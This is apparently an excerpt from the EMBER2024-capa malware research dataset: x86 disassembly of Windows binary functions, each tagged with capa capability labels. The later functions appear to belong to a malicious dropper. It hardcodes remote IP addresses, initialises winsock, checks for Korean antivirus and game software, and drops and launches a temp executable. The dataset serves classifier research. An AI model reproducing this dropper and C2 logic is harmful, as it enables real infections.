joyce8/EMBER2024-capa huggingface dataset:
Function at 0x465044
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
xor eax, eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x46511c
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x484cb8], 0
jne 0x465100
lea eax, [ebp - 4]
mov edx, 0x465134
call fcn.004044e8
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
call fcn.00404900
mov esi, eax
push esi
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x465100
mov eax, ebx
call fcn.00402754
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x4650f9
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xc]
push eax
push ebx
mov eax, dword [ebp - 8]
push eax
push esi
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x4650e3
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
push 0x465144
mov eax, dword [ebp - 0xc]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x4650e3
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 8]
mov dword [0x484cb8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x465100
mov eax, dword [ebp - 0xc]
call fcn.00402774
ret
mov ebx, dword [0x484cb8]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x465123
lea eax, [ebp - 4]
call fcn.00404450
ret
Function at 0x47658c
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov word [ebp - 4], cx
mov edi, edx
mov byte [ebp - 1], al
xor ebx, ebx
mov dl, 1
mov al, byte [ebp - 1]
call fcn.0047640c
test al, al
je 0x476671
mov eax, dword [0x484cf0]
xor edx, edx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], edx
mov eax, edi
xor edx, edx
push edx
push eax
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
call fcn.00405414
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], edx
push 0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [0x484cd8]
push eax
call sub.kernel32.dll_SetFilePointer_1
mov edi, eax
mov bl, 1
cmp edi, 0xffffffff
jne 0x476607
test esi, esi
je 0x476605
test esi, esi
je 0x476607
call sub.kernel32.dll_GetLastError_1
test eax, eax
je 0x476607
xor ebx, ebx
test bl, bl
je 0x476671
movzx edi, word [ebp - 4]
imul edi, dword [0x484cf0]
mov esi, edi
imul eax, dword [0x484cf0], 0x3e8
cmp esi, eax
jbe 0x476628
mov esi, eax
push 0
lea eax, [ebp - 8]
push eax
push esi
mov eax, dword [0x484cfc]
push eax
mov eax, dword [0x484cd8]
push eax
call sub.kernel32.dll_ReadFile_1
cmp eax, 1
sbb ebx, ebx
inc ebx
test bl, bl
je 0x47665a
mov edx, dword [ebp + 8]
mov eax, dword [0x484cfc]
mov ecx, dword [ebp - 8]
call fcn.0040290c
test bl, bl
je 0x476664
cmp esi, dword [ebp - 8]
sete bl
add dword [ebp + 8], esi
sub edi, esi
test bl, bl
je 0x476671
test edi, edi
jne 0x476616
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x47920c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
xor eax, eax
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x479275
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
push eax
mov eax, dword [0x483000]
push eax
push 0
call sub.shell32.dll_SHGetSpecialFolderLocation
cmp dword [ebp - 4], 0
je 0x47925f
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 8]
call fcn.004791fc
mov eax, dword [ebp - 8]
push eax
xor ecx, ecx
mov dl, 1
mov eax, dword [0x477a24]
call fcn.0047a0c4
mov dword [0x483068], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47927c
lea eax, [ebp - 8]
call fcn.004061ec
ret

Function at 0x479314
Capabilities:
Get file system object information

Disassembly:
push esi
add esp, 0xfffffea0
mov esi, 0x4008
test cl, cl
je 0x479327
or esi, 2
test dl, dl
je 0x479330
or esi, 0
jmp 0x479333
or esi, 1
push esi
push 0x160
lea edx, [esp + 8]
push edx
push 0
push eax
call sub.shell32.dll_SHGetFileInfoA
mov eax, dword [esp + 4]
add esp, 0x160
pop esi
ret
Function at 0x479f50
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ebx
mov ebx, ecx
mov dword [ebp - 4], edx
mov edi, eax
mov eax, dword [ebp - 4]
call fcn.004048f0
xor eax, eax
push ebp
push 0x47a0a8
push dword fs:[eax]
mov dword fs:[eax], esp
mov esi, 1
mov edx, dword [ebx]
mov eax, dword [0x47780c]
call fcn.00411bec
test eax, eax
jl 0x479fb7
lea eax, [ebp - 8]
push eax
mov eax, dword [ebx]
call fcn.004792f8
and eax, 0x7f
mov eax, dword [eax*4 + 0x483000]
push eax
push 0
call sub.shell32.dll_SHGetSpecialFolderLocation
mov esi, eax
jmp 0x47a01a
mov eax, dword [ebx]
call fcn.00404708
test eax, eax
jle 0x47a01a
mov eax, dword [ebx]
call fcn.00404708
mov edx, dword [ebx]
cmp byte [edx + eax - 1], 0x3a
jne 0x479fde
mov eax, ebx
mov edx, 0x47a0c0
call fcn.00404710
mov eax, dword [ebx]
call fcn.00404708
mov dword [ebp - 0xc], eax
xor eax, eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebx]
call fcn.004052b8
mov esi, eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push esi
push 0
push 0
lea eax, [ebp - 0x18]
call fcn.004791fc
mov eax, dword [ebp - 0x18]
push eax
mov eax, dword [eax]
call dword [eax + 0xc]
mov esi, eax
test esi, esi
je 0x47a065
lea eax, [ebp - 0x14]
push eax
lea edx, [ebp - 0x1c]
mov eax, dword [0x4830c0]
call fcn.004066b8
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebx]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0xb
lea edx, [ebp - 0x24]
xor ecx, ecx
pop eax
call fcn.0040960c
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.004044a4
mov ecx, dword [ebp - 0x14]
mov dl, 1
mov eax, dword [0x407924]
call fcn.0040b3f8
call fcn.00403e2c
mov eax, dword [ebp - 8]
call fcn.00479ec8
mov ebx, eax
test edi, edi
je 0x47a07a
mov eax, edi
call fcn.00403660
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47a0af
lea eax, [ebp - 0x1c]
call fcn.00404450
lea eax, [ebp - 0x18]
call fcn.004061ec
lea eax, [ebp - 0x14]
call fcn.00404450
lea eax, [ebp - 4]
call fcn.00404450
ret

Function at 0x47ac8c
Capabilities:
Create process on windows

Disassembly:
push ebx
add esp, 0xffffffc4
mov ebx, eax
mov eax, esp
xor ecx, ecx
mov edx, 0x3c
call fcn.00402f74
mov dword [esp], 0x3c
mov eax, dword [0x483338]
mov eax, dword [eax]
mov eax, dword [eax + 0x30]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xc
mov eax, dword [ebx + 8]
mov dword [esp + 0x24], eax
mov dword [esp + 0x1c], 5
push esp
call sub.shell32.dll_ShellExecuteExA
add esp, 0x3c
pop ebx
ret
Function at 0x47b7a8
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x47b912
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x4834c0]
mov eax, dword [eax]
mov ax, word [eax + 0x44]
mov word [ebp - 0x16], ax
mov eax, dword [0x4834c0]
mov eax, dword [eax]
mov dx, 0xfff5
call fcn.00459878
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x26c]
call fcn.00468ecc
xor edx, edx
push ebp
push 0x47b8f5
push dword fs:[edx]
mov dword fs:[edx], esp
xor edx, edx
push ebp
push 0x47b865
push dword fs:[edx]
mov dword fs:[edx], esp
lea eax, [ebp - 0x10]
call fcn.004061ec
push eax
mov eax, dword [ebp - 4]
mov al, byte [eax + 0x344]
call fcn.00479910
push eax
mov eax, dword [0x483338]
mov eax, dword [eax]
mov eax, dword [eax + 0x30]
push eax
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x10]
push eax
mov eax, dword [eax]
call dword [eax + 0x10]
test eax, eax
je 0x47b85b
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
call fcn.00403ed8
jmp 0x47b8fc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x47b8a1
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x26c]
xor ecx, ecx
mov edx, dword [ebp - 8]
call fcn.00468aac
mov edx, dword [ebp - 8]
push edx
mov ecx, dword [ebp - 0xc]
mov edx, eax
mov eax, dword [ebp - 4]
call fcn.0047b638
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xc]
push eax
push 1
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [eax]
call dword [eax + 0xc]
test eax, eax
je 0x47b87d
push 0
mov edx, 0x47b5d0
xor ecx, ecx
mov eax, dword [ebp - 8]
call fcn.00468664
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47b8fc
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x26c]
call fcn.00468f18
mov eax, dword [0x4834c0]
mov eax, dword [eax]
mov dx, word [ebp - 0x16]
call fcn.00459878
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47b919
lea eax, [ebp - 0x10]
call fcn.004061ec
ret
Function at 0x401000
Capabilities:
Create process on windows
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x240
mov eax, dword [0x416048]
xor eax, ebp
mov dword [ebp - 0x24], eax
push esi
push edi
push 0x64
push 0x417de0
push 0x67
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x417d18
push 0x6d
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.USER32.dll_LoadStringW]
mov edx, dword [ebp + 8]
push edx
call fcn.00401200
add esp, 4
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, 0x416f10
call fcn.00403792
call fcn.004028a0
test eax, eax
je 0x401072
call fcn.00403eb6
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00401350
test eax, eax
jne 0x401082
xor eax, eax
jmp 0x4011e0
call fcn.00401b90
cmp dword [0x418740], 0
jbe 0x4010b9
movzx eax, word [0x418744]
test eax, eax
jle 0x4010b9
mov esi, str.218.54.31.226
mov ecx, dword [0x418740]
call fcn.00404553
mov cx, word [0x418744]
mov word [0x416f2c], cx
mov dword [ebp - 0x234], str.tmp5fdr.exe
mov dword [ebp - 0x238], 0x418c78
mov edx, dword [ebp - 0x238]
mov dword [ebp - 0x23c], edx
mov eax, dword [ebp - 0x234]
mov cx, word [eax]
mov word [ebp - 0x23e], cx
mov edx, dword [ebp - 0x238]
mov ax, word [ebp - 0x23e]
mov word [edx], ax
mov ecx, dword [ebp - 0x234]
add ecx, 2
mov dword [ebp - 0x234], ecx
mov edx, dword [ebp - 0x238]
add edx, 2
mov dword [ebp - 0x238], edx
cmp word [ebp - 0x23e], 0
jne 0x4010d9
call fcn.004045b7
xor eax, eax
mov word [ebp - 0x230], ax
push 0x206
push 0
lea ecx, [ebp - 0x22e]
push ecx
call fcn.00408ce0
add esp, 0xc
lea edx, [ebp - 0x230]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x418c78
push 0x104
lea eax, [ebp - 0x230]
push eax
call fcn.004053a1
add esp, 0xc
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push 0
push 0x414468
lea ecx, [ebp - 0x230]
push ecx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
pop esi
mov ecx, dword [ebp - 0x24]
xor ecx, ebp
call fcn.00405392
mov esp, ebp
pop ebp
ret 0x10
Function at 0x401350
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x416048]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
xor eax, eax
mov word [ebp - 0x1e0], ax
push 0x3e
push 0
lea ecx, [ebp - 0x1de]
push ecx
call fcn.00408ce0
add esp, 0xc
mov dword [ebp - 0x19c], 0
mov dword [ebp - 0x1a0], 0
lea edi, [ebp - 0x1e0]
call fcn.00404109
lea edx, [ebp - 0x1e0]
mov dword [ebp - 0x1e4], edx
mov dword [ebp - 0x1e8], 0x417ea8
mov eax, dword [ebp - 0x1e8]
mov dword [ebp - 0x1ec], eax
mov ecx, dword [ebp - 0x1e4]
mov dx, word [ecx]
mov word [ebp - 0x1ee], dx
mov eax, dword [ebp - 0x1e8]
mov cx, word [ebp - 0x1ee]
mov word [eax], cx
mov edx, dword [ebp - 0x1e4]
add edx, 2
mov dword [ebp - 0x1e4], edx
mov eax, dword [ebp - 0x1e8]
add eax, 2
mov dword [ebp - 0x1e8], eax
cmp word [ebp - 0x1ee], 0
jne 0x4013c1
push 0x417ea8
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 0
je 0x40143e
mov ecx, dword [ebp - 0x1a0]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x4015fd
push 0x417ea8
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 0
jne 0x401465
xor eax, eax
jmp 0x4015fd
lea edx, [ebp - 0x198]
push edx
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0x418878
call fcn.00402370
add esp, 4
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 0
jne 0x4015bf
mov dword [ebp - 0x1f4], str.gduer
mov dword [ebp - 0x1f8], 0x418a20
mov eax, dword [ebp - 0x1f8]
mov dword [ebp - 0x1fc], eax
mov ecx, dword [ebp - 0x1f4]
mov dx, word [ecx]
mov word [ebp - 0x1fe], dx
mov eax, dword [ebp - 0x1f8]
mov cx, word [ebp - 0x1fe]
mov word [eax], cx
mov edx, dword [ebp - 0x1f4]
add edx, 2
mov dword [ebp - 0x1f4], edx
mov eax, dword [ebp - 0x1f8]
add eax, 2
mov dword [ebp - 0x1f8], eax
cmp word [ebp - 0x1fe], 0
jne 0x4014b7
push str.112.175.88.207
push 0x41887c
call fcn.00402300
add esp, 8
push str.AAAA
push 0x4188fe
call fcn.00402320
add esp, 8
push 0x4144a4
push 0x41891e
call fcn.00402300
add esp, 8
mov ecx, 0x51
mov word [0x4188fc], cx
mov edx, 0x2b8e
mov word [0x41899e], dx
mov dword [ebp - 0x204], str.dosret
mov dword [ebp - 0x208], 0x418a00
mov eax, dword [ebp - 0x208]
mov dword [ebp - 0x20c], eax
mov ecx, dword [ebp - 0x204]
mov dx, word [ecx]
mov word [ebp - 0x20e], dx
mov eax, dword [ebp - 0x208]
mov cx, word [ebp - 0x20e]
mov word [eax], cx
mov edx, dword [ebp - 0x204]
add edx, 2
mov dword [ebp - 0x204], edx
mov eax, dword [ebp - 0x208]
add eax, 2
mov dword [ebp - 0x208], eax
cmp word [ebp - 0x20e], 0
jne 0x40156d
mov dword [0x418a40], 5
call fcn.00404199
push 0x4144d4
call fcn.00404225
add esp, 4
mov dword [0x418740], eax
push 0x418a78
call fcn.00401610
add esp, 4
push 0
push 0
push 0
push 0x4021b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405392
mov esp, ebp
pop ebp
ret
Function at 0x401960
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [0x416048]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x41c], 0
xor eax, eax
mov word [ebp - 0x418], ax
push 0x206
push 0
lea ecx, [ebp - 0x416]
push ecx
call fcn.00408ce0
add esp, 0xc
xor edx, edx
mov word [ebp - 0x210], dx
push 0x206
push 0
lea eax, [ebp - 0x20e]
push eax
call fcn.00408ce0
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x418]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
xor edx, edx
mov word [ebp - 0x414], dx
push str.HangameKOREANHanUninstall.exe
lea eax, [ebp - 0x418]
push eax
push 0x41457c
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x401a18
mov eax, dword [ebp - 0x41c]
or eax, 1
mov dword [ebp - 0x41c], eax
push str.NEOWIZPMangcommonPMLauncher.exe
lea ecx, [ebp - 0x418]
push ecx
push 0x4145d0
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x401a5a
mov ecx, dword [ebp - 0x41c]
or ecx, 2
mov dword [ebp - 0x41c], ecx
push str.NetmarbleCommonNetMarbleEndWeb.exe
lea edx, [ebp - 0x418]
push edx
push 0x4145dc
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x401a9c
mov edx, dword [ebp - 0x41c]
or edx, 4
mov dword [ebp - 0x41c], edx
push str.Program_FilesAhnLabV3Lite30V3Lite.exe
lea eax, [ebp - 0x418]
push eax
push 0x414634
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x401ae0
mov eax, dword [ebp - 0x41c]
or eax, 0x100
mov dword [ebp - 0x41c], eax
push str.Program_FilesESTsoftALYacAYLaunch.exe
lea ecx, [ebp - 0x418]
push ecx
push 0x414694
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x401b25
mov ecx, dword [ebp - 0x41c]
or ecx, 0x200
mov dword [ebp - 0x41c], ecx
push str.Program_Files_naverNaverAgentNaverAgent.exe
lea edx, [ebp - 0x418]
push edx
push str._s_s
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x401b6a
mov edx, dword [ebp - 0x41c]
or edx, 0x400
mov dword [ebp - 0x41c], edx
mov eax, dword [ebp - 0x41c]
or eax, 0x2000000
mov dword [ebp - 0x41c], eax
mov eax, dword [ebp - 0x41c]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405392
mov esp, ebp
pop ebp
ret
Function at 0x401fe0
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x424
mov eax, dword [0x416048]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x41c], 0
movzx eax, word [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
call fcn.0040477e
add esp, 4
mov dword [ebp - 0x41c], eax
cmp dword [ebp - 0x41c], 0
je 0x402027
mov eax, dword [ebp - 0x41c]
jmp 0x402197
xor ecx, ecx
mov word [ebp - 0x418], cx
push 0x206
push 0
lea edx, [ebp - 0x416]
push edx
call fcn.00408ce0
add esp, 0xc
xor eax, eax
mov word [ebp - 0x210], ax
push 0x206
push 0
lea ecx, [ebp - 0x20e]
push ecx
call fcn.00408ce0
add esp, 0xc
lea edx, [ebp - 0x418]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov dword [ebp - 0x420], 0
jmp 0x402092
mov eax, dword [ebp - 0x420]
add eax, 1
mov dword [ebp - 0x420], eax
cmp dword [ebp - 0x420], 5
jge 0x4020f8
mov ecx, dword [ebp - 0x420]
imul ecx, ecx, 0x118
movzx edx, word [ecx + 0x417ef0]
test edx, edx
jne 0x4020b4
jmp 0x402083
lea eax, [ebp - 0x418]
push eax
push 0x104
lea ecx, [ebp - 0x210]
push ecx
call fcn.00405416
add esp, 0xc
mov edx, dword [ebp - 0x420]
imul edx, edx, 0x118
add edx, 0x417ef0
push edx
push 0x104
lea eax, [ebp - 0x210]
push eax
call fcn.004053a1
add esp, 0xc
jmp 0x402083
mov dword [ebp - 0x424], 0
jmp 0x402113
mov ecx, dword [ebp - 0x424]
add ecx, 1
mov dword [ebp - 0x424], ecx
cmp dword [ebp - 0x424], 5
jge 0x40215c
mov edx, dword [ebp - 0x424]
imul edx, edx, 0x118
movzx eax, word [edx + 0x417ef0]
test eax, eax
jne 0x402135
jmp 0x402104
push 1
movzx ecx, word [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov ecx, dword [ebp - 0x424]
imul ecx, ecx, 0x118
add ecx, 0x417ef0
call fcn.00404fe8
add esp, 0xc
jmp 0x402104
push 0x418c78
push 0x104
lea eax, [ebp - 0x418]
push eax
call fcn.004053a1
add esp, 0xc
lea ecx, [ebp - 0x418]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x402191
mov dword [ebp - 0x41c], 2
mov eax, dword [ebp - 0x41c]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405392
mov esp, ebp
pop ebp
ret
Function at 0x402470
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
mov eax, dword [0x416048]
xor eax, ebp
mov dword [ebp - 8], eax
mov dword [ebp - 0x214], 0
cmp dword [ebp + 8], 0
je 0x402499
cmp dword [ebp + 0xc], 0
jne 0x4024a3
jmp 0x4025f0
cmp dword [ebp + 0x10], 0
je 0x4024f8
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x218], eax
mov ecx, dword [ebp - 0x218]
add ecx, 2
mov dword [ebp - 0x21c], ecx
mov edx, dword [ebp - 0x218]
mov ax, word [edx]
mov word [ebp - 0x21e], ax
add dword [ebp - 0x218], 2
cmp word [ebp - 0x21e], 0
jne 0x4024c1
mov ecx, dword [ebp - 0x218]
sub ecx, dword [ebp - 0x21c]
sar ecx, 1
mov dword [ebp - 0x224], ecx
jne 0x402502
jmp 0x4025f0
xor edx, edx
mov word [ebp - 0x210], dx
push 0x206
push 0
lea eax, [ebp - 0x20e]
push eax
call fcn.00408ce0
add esp, 0xc
cmp dword [ebp + 0x14], 0
je 0x40253b
lea ecx, [ebp - 0x210]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x402583
cmp dword [0x416f10], 3
jne 0x402571
push 0x104
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x41427c
push 0x104
lea eax, [ebp - 0x210]
push eax
call fcn.004053a1
add esp, 0xc
jmp 0x402583
lea ecx, [ebp - 0x210]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov edx, dword [ebp + 0x10]
push edx
push 0x104
lea eax, [ebp - 0x210]
push eax
call fcn.004053a1
add esp, 0xc
mov dword [ebp - 4], 0
push 0x414280
lea ecx, [ebp - 0x210]
push ecx
lea edx, [ebp - 4]
push edx
call fcn.004056c3
add esp, 0xc
cmp dword [ebp - 4], 0
jne 0x4025c4
jmp 0x4025f0
mov eax, dword [ebp - 4]
push eax
push 1
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00405954
add esp, 0x10
mov eax, dword [ebp - 4]
push eax
call fcn.004059de
add esp, 4
mov dword [ebp - 0x214], 1
mov eax, dword [ebp - 0x214]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00405392
mov esp, ebp
pop ebp
ret

Function at 0x4027c0
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x416048]
xor eax, ebp
mov dword [ebp - 8], eax
mov dword [ebp - 0x214], 0
xor eax, eax
mov word [ebp - 0x210], ax
push 0x206
push 0
lea ecx, [ebp - 0x20e]
push ecx
call fcn.00408ce0
add esp, 0xc
mov dword [ebp - 4], 0
cmp dword [ebp + 8], 0
je 0x40280f
cmp dword [ebp + 0xc], 0
jne 0x402813
jmp 0x402888
lea edx, [ebp - 0x210]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.golfinfo.ini
push 0x104
lea eax, [ebp - 0x210]
push eax
call fcn.004053a1
add esp, 0xc
push 0x4142bc
lea ecx, [ebp - 0x210]
push ecx
lea edx, [ebp - 4]
push edx
call fcn.004056c3
add esp, 0xc
cmp dword [ebp - 4], 0
je 0x40287e
mov eax, dword [ebp - 4]
push eax
push 1
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00405ba9
add esp, 0x10
mov eax, dword [ebp - 4]
push eax
call fcn.004059de
add esp, 4
mov dword [ebp - 0x214], 1
mov eax, dword [ebp - 0x214]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00405392
mov esp, ebp
pop ebp
ret